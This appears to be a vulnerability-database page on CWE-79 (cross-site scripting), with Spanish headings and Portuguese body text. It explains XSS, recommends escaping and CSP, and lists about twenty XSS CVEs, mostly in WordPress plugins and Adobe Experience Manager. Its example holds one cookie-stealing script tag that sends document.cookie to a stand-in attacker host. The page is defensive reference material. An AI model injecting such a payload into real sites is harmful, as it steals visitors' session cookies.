Fallos del tipo CWE-79

29.799 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-36211MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.4%CVE-2025-31445HIGHWordPress Pages Order plugin <= 1.1.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-49846MEDIUMWordPress Author Avatars List/Block Plugin <= 2.1.17 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-7304MEDIUMNinja Tables – Easiest Data Table Builder <= 5.0.12 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.4%CVE-2023-49820MEDIUMWordPress Structured Content Plugin <= 1.5.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-7302MEDIUMBlog2Social: Social Media Auto Post & Scheduler <= 7.5.4 - Authenticated (Author+) Stored Cross-Site Scripting via File UploadEPSS 0.4%CVE-2024-11110MEDIUMInappropriate implementation in Extensions in Google Chrome prior to 131.0.6778.69 allowed a remote attacker to bypass site isolation via a EPSS 0.4%CVE-2024-6804MEDIUMJeg Elementor Kit <= 2.6.7 - Authenticated (Author+) Stored Cross-Site Scripting via SVG FileEPSS 0.4%CVE-2024-36186MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-36208MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-47834MEDIUMWordPress Quiz And Survey Master Plugin <= 8.1.13 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-47850MEDIUMWordPress Community by PeepSo Plugin <= 6.2.2.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-6208MEDIUMDownload Manager <= 3.2.97 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2023-47231MEDIUMWordPress ShortCodes UI Plugin <= 1.9.8 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-30554HIGHWordPress Frizzly plugin <= 1.1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-31078HIGHWordPress Small Package Quotes – Worldwide Express Edition plugin <= 5.2.18 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-32503HIGHWordPress Link Shield plugin <= 0.5.4 - CSRF to Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-30778HIGHWordPress VForm plugin <= 3.1.9 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-67855MEDIUMMooodle: mooodle: information disclosure and script execution via reflected cross-site scriptingEPSS 0.4%CVE-2024-5763MEDIUMThe Plus Addons for Elementor – Elementor Addons, Page Templates, Widgets, Mega Menu, WooCommerce <= 5.6.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Video WidgetEPSS 0.4%